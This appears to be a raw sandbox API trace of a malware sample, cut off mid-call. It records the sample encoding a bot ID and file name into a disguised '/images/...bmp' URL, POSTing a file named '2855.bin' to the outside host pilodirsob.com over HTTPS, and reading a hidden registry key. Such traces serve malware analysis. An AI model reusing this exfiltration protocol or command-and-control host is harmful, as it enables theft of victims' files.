[0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x11) returned 0x278f2f0 [0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278d658 [0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278f310 [0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x7) returned 0x27889f8 [0111.776] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x8) returned 0x278f330 [0111.776] lstrlenA (lpString="%s=%s&") returned 6 [0111.776] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x14) returned 0x278f340 [0111.776] sprintf (in: _Dest=0x278f340, _Format="%s=%s&" | out: _Dest="vbirkod=jacwsn&") returned 15 [0111.776] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f330 | out: hHeap=0x2390000) returned 1 [0111.776] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0111.776] lstrlenA (lpString="vbirkod=jacwsn&") returned 15 [0111.776] lstrlenA (lpString="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0111.776] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x99) returned 0x278fe98 [0111.776] strcpy (in: _Dest=0x278fe98, _Source="vbirkod=jacwsn&" | out: _Dest="vbirkod=jacwsn&") returned="vbirkod=jacwsn&" [0111.776] lstrcatA (in: lpString1="vbirkod=jacwsn&", lpString2="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="vbirkod=jacwsn&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="vbirkod=jacwsn&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" [0111.776] lstrlenA (lpString="vbirkod=jacwsn&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 152 [0111.776] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278ff40 [0111.776] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278de60 [0111.777] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ff40 | out: hHeap=0x2390000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x140) returned 0x278df08 [0111.777] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0111.777] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0111.778] GetProcAddress (hModule=0x76d00000, lpProcName="StrTrimA") returned 0x76d3e63c [0111.778] StrTrimA (in: psz="t+bwrq4hGdgyKXBVaYI8sycTeG/7fwTKT5wKm53/I/+UpoKX1JUdFqL3BccGALIEe9yHqZsCuBwVyvngvfzHKj01D3Nd+soELZZgRztfHjzmf0XYORqncRr5nrUwyG5XfT7xNoF3WbskiH5Xge7m5sju+h3mTulOO9vqdGGP1An2dNtNLrrJww899q9EO0SD2Cw6wV5GuLKDA/AdEviwXv==\n\r", pszTrimChars="\r\n=" | out: psz="t+bwrq4hGdgyKXBVaYI8sycTeG/7fwTKT5wKm53/I/+UpoKX1JUdFqL3BccGALIEe9yHqZsCuBwVyvngvfzHKj01D3Nd+soELZZgRztfHjzmf0XYORqncRr5nrUwyG5XfT7xNoF3WbskiH5Xge7m5sju+h3mTulOO9vqdGGP1An2dNtNLrrJww899q9EO0SD2Cw6wV5GuLKDA/AdEviwXv") returned 1 [0111.778] lstrlenA (lpString="t+bwrq4hGdgyKXBVaYI8sycTeG/7fwTKT5wKm53/I/+UpoKX1JUdFqL3BccGALIEe9yHqZsCuBwVyvngvfzHKj01D3Nd+soELZZgRztfHjzmf0XYORqncRr5nrUwyG5XfT7xNoF3WbskiH5Xge7m5sju+h3mTulOO9vqdGGP1An2dNtNLrrJww899q9EO0SD2Cw6wV5GuLKDA/AdEviwXv") returned 214 [0111.778] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x283) returned 0x278e050 [0111.778] _snprintf (in: _Dest=0x278e051, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0111.778] _snprintf (in: _Dest=0x278e06c, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0111.778] _snprintf (in: _Dest=0x278e07b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0111.778] _snprintf (in: _Dest=0x278e07f, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0111.778] _snprintf (in: _Dest=0x278e082, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0111.778] _snprintf (in: _Dest=0x278e0b6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0111.778] _snprintf (in: _Dest=0x278e0f4, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0111.778] _snprintf (in: _Dest=0x278e12b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0111.778] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df08 | out: hHeap=0x2390000) returned 1 [0111.778] lstrlenA (lpString="t_2Bbwrq4hGdgyKXBVaYI8sycTeG_2F7fwTKT5wKm53_2FI_2F_2BUpoKX1JUdFqL3BccGALIEe9yHqZsCuBwVyvngvfzHKj01D3Nd_2BsoELZZgRztfHjzmf0XYORqncRr5nrUwyG5XfT7xNoF3WbskiH5Xge7m5sju_2Bh3mTulOO9vqdGGP1An2dNtNLrrJww899q9EO0SD2Cw6wV5GuLKDA_2FAdEviwXv") returned 230 [0111.778] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x103) returned 0x278fe98 [0111.779] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e050 | out: hHeap=0x2390000) returned 1 [0111.779] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f340 | out: hHeap=0x2390000) returned 1 [0111.779] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f310 | out: hHeap=0x2390000) returned 1 [0111.779] StrTrimA (in: psz="t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv", pszTrimChars="\r\n" | out: psz="t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv") returned 0 [0111.779] lstrlenA (lpString="/images/") returned 8 [0111.779] lstrlenA (lpString="t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv") returned 245 [0111.779] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xfe) returned 0x278de60 [0111.779] lstrcpyA (in: lpString1=0x278de60, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0111.779] lstrcatA (in: lpString1="/images/", lpString2="t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv" | out: lpString1="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv") returned="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv" [0111.779] lstrcpyA (in: lpString1=0x278fe98, lpString2=".bmp" | out: lpString1=".bmp") returned=".bmp" [0111.779] lstrcpyA (in: lpString1=0x278d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0111.779] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv" | out: lpString1="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv") returned="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv" [0111.779] lstrcatA (in: lpString1="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv", lpString2=".bmp" | out: lpString1="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp") returned="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp" [0111.779] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278ffa8 [0111.779] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278df68 [0111.779] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278e020 [0111.779] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df68 | out: hHeap=0x2390000) returned 1 [0111.779] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ffa8 | out: hHeap=0x2390000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ee20 [0111.780] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x730 [0111.780] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x738 [0111.780] wsprintfA (in: param_1=0x317f4c4, param_2="Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"" | out: param_1="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0111.780] lstrlenA (lpString="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp") returned 271 [0111.780] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x111) returned 0x278e0d8 [0111.780] lstrcpyA (in: lpString1=0x278e0d8, lpString2="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp" | out: lpString1="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp") returned="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp" [0111.780] GetProcAddress (hModule=0x76d00000, lpProcName="StrChrA") returned 0x76d0c5e6 [0111.780] StrChrA (lpStart="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp", wMatch=0x2f) returned="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp" [0111.781] GetProcAddress (hModule=0x76d00000, lpProcName="StrChrA") returned 0x76d0c5e6 [0111.781] StrChrA (lpStart="pilodirsob.com/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp", wMatch=0x3f) returned 0x0 [0111.781] lstrlenA (lpString="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp") returned 257 [0111.781] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x203) returned 0x278e1f8 [0111.781] InternetCanonicalizeUrlA (in: lpszUrl="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp", lpszBuffer=0x278e1f8, lpdwBufferLength=0x317f49c, dwFlags=0x0 | out: lpszBuffer="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp", lpdwBufferLength=0x317f49c) returned 1 [0111.781] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0010 [0111.781] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x487038) returned 0x0 [0111.781] ResetEvent (hEvent=0x730) returned 1 [0111.782] InternetConnectA (hInternet=0xcc0010, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x278ee20) returned 0xcc0014 [0111.782] SetEvent (hEvent=0x730) returned 1 [0111.782] HttpOpenRequestA (hConnect=0xcc0014, lpszVerb="POST", lpszObjectName="/images/t_2Bbwrq/4hGdgyKXBVaYI8sycTeG_2F/7fwTKT5wKm/53_2FI_2F_2BUpoKX/1JUdFqL3BccG/ALIEe9yHqZs/CuBwVyvngvfzHK/j01D3Nd_2BsoELZZgRztf/Hjzmf0XYORqncRr5/nrUwyG5XfT7xNoF/3WbskiH5Xge7m5sju_/2Bh3mTulO/O9vqdGGP1An2dNtNLrrJ/ww899q9EO0SD2Cw6wV5/GuLKDA_2FAdE/viwXv.bmp", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x278ee20) returned 0xcc0018 [0111.798] InternetQueryOptionA (in: hInternet=0xcc0018, dwOption=0x1f, lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c | out: lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c) returned 1 [0111.798] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x1f, lpBuffer=0x317f4ac, dwBufferLength=0x4) returned 1 [0111.798] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x6, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0111.798] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x5, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0111.798] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1f8 | out: hHeap=0x2390000) returned 1 [0111.798] GetTickCount () returned 0x28bbb [0111.798] wsprintfA (in: param_1=0x317f668, param_2="--------------------------%04x%04x%04x" | out: param_1="--------------------------115343b115343b115343b") returned 47 [0111.798] wsprintfA (in: param_1=0x317f5c4, param_2="Content-Type: multipart/form-data; boundary=%s" | out: param_1="Content-Type: multipart/form-data; boundary=--------------------------115343b115343b115343b") returned 91 [0111.798] wsprintfA (in: param_1=0x317f628, param_2="\r\n--%s--\r\n" | out: param_1="\r\n----------------------------115343b115343b115343b--\r\n") returned 55 [0111.798] lstrlenA (lpString="\r\n----------------------------115343b115343b115343b--\r\n") returned 55 [0111.798] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=--------------------------115343b115343b115343b") returned 91 [0111.798] HttpAddRequestHeadersA (hRequest=0xcc0018, lpszHeaders="Content-Type: multipart/form-data; boundary=--------------------------115343b115343b115343b", dwHeadersLength=0x5b, dwModifiers=0x20000000) returned 1 [0111.798] lstrlenA (lpString="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0111.798] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x19a) returned 0x278e1f8 [0111.798] wsprintfA (in: param_1=0x278e1f8, param_2="--%s\r\n%s\r\n%s\r\n\r\n" | out: param_1="----------------------------115343b115343b115343b\r\nContent-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n") returned 166 [0111.798] ResetEvent (hEvent=0x730) returned 1 [0111.798] ResetEvent (hEvent=0x738) returned 1 [0111.798] HttpSendRequestA (hRequest=0xcc0018, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x278e1f8*, dwOptionalLength=0x18d) returned 0 [0111.799] GetLastError () returned 0x3e5 [0111.799] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e0d8 | out: hHeap=0x2390000) returned 1 [0111.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f6ac*=0x730, bWaitAll=0, dwMilliseconds=0xea60) returned 0x102 [0174.993] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f69c*=0x738, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0202.093] InternetSetStatusCallbackA (hInternet=0xcc0018, lpfnInternetCallback=0x0) returned 0x487038 [0202.093] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0202.093] InternetSetStatusCallbackA (hInternet=0xcc0014, lpfnInternetCallback=0x0) returned 0x487038 [0202.093] InternetCloseHandle (hInternet=0xcc0014) returned 1 [0202.093] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x487038 [0202.093] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0202.093] CloseHandle (hObject=0x730) returned 1 [0202.093] CloseHandle (hObject=0x738) returned 1 [0202.093] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1f8 | out: hHeap=0x2390000) returned 1 [0202.093] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ee20 | out: hHeap=0x2390000) returned 1 [0202.093] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e020 | out: hHeap=0x2390000) returned 1 [0202.093] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x38) returned 0x278ffa8 [0202.093] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x278ffa8, nInBufferSize=0x38, lpOutBuffer=0x317f6b0, nOutBufferSize=0xc, lpBytesRead=0x317f6bc, nTimeOut=0x1 | out: lpOutBuffer=0x317f6b0, lpBytesRead=0x317f6bc) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ffa8 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278d658 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0202.118] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0202.118] UnmapViewOfFile (lpBaseAddress=0x4760000) returned 1 [0202.125] CloseHandle (hObject=0x734) returned 1 [0202.125] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x400) returned 0x278f690 [0202.125] wsprintfA (in: param_1=0x278f690, param_2="SendFiles status %u\n" | out: param_1="SendFiles status 258\n") returned 21 [0202.125] lstrlenA (lpString="SendFiles status 258\n") returned 21 [0202.125] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0202.126] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f580 | out: hHeap=0x2390000) returned 1 [0202.126] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f470 | out: hHeap=0x2390000) returned 1 [0202.126] RegCloseKey (hKey=0x72c) returned 0x0 [0202.126] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0x0) returned 0x102 [0202.126] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0202.126] RegNotifyChangeKeyValue (hKey=0x724, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x554, fAsynchronous=1) returned 0x0 [0202.126] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f7a8 | out: phkResult=0x317f7a8*=0x72c) returned 0x0 [0202.126] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f7a0, lpData=0x4c8880, lpcbData=0x317f7ac*=0x2c | out: lpType=0x317f7a0*=0x3, lpData=0x4c8880*, lpcbData=0x317f7ac*=0x2c) returned 0x0 [0202.126] RegCloseKey (hKey=0x72c) returned 0x0 [0202.126] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f790 | out: phkResult=0x317f790*=0x72c) returned 0x0 [0202.126] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x0, lpcbData=0x317f7a8*=0x769f2151 | out: 